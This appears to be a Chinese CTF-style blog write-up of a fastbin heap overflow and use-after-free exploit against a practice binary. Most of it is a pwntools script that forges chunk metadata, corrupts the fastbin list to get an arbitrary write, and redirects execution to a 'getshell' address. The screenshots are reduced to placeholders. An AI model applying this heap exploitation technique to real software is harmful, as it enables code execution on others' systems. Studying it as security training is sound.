Fastbin 堆溢出 Use After Free

爱被打了一巴掌 2022-08-28 11:00 111阅读 0赞

shell 地址

1

  1. #-*- coding: utf-8 -*-
  2. from pwn import *
  3. elf = ELF('./fastbin')
  4. sh = process('./fastbin')
  5. getshell = 0x80487c6
  6. def Add(num):
  7. sh.sendafter('choice:\n', '1')
  8. sh.sendafter('id:\n', str(num))
  9. def Del(num):
  10. sh.sendafter('choice:\n', '2')
  11. sh.sendafter('id:\n', str(num))
  12. def Read(num, content):
  13. sh.sendafter('choice:\n', '3')
  14. sh.sendafter('id:\n', str(num))
  15. sh.sendafter('content:\n', content)
  16. # p32(0)是填充malloc_chunk的prev_size
  17. # p32(0x29)是填充malloc_chunk的size
  18. sh.sendafter('Your name:\n', p32(0)+p32(0x29))
  19. sh.recvuntil('0x')
  20. buff_addr = int(sh.recv(8), 16)
  21. print(hex(buff_addr))
  22. payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
  23. Add(0)
  24. Add(1)
  25. Del(1)
  26. Read(0, payload)
  27. Add(1)
  28. Add(2)
  29. payload = 'a'*0x12 + p32(getshell)
  30. Read(2, payload)
  31. sh.sendafter('choice:\n', '4')
  32. sh.interactive()

两次运行Add后:
1
删掉1之后:
1
read后:
1
fd跟bin打印的堆地址一样:
1
pre_size和size已经填充上:
1
又创建了一个node:
1
shell地址已被写入:
1
执行shell:
1

发表评论

表情:
评论列表 (有 0 条评论,111人围观)

还没有评论,来说两句吧...

相关阅读

    相关 溢出溢出

    文章目录 栈溢出和堆溢出 总结 -------------------- > 注:我的笔记风格,可能不会特别官方,不会晦涩难懂,而是以一个初学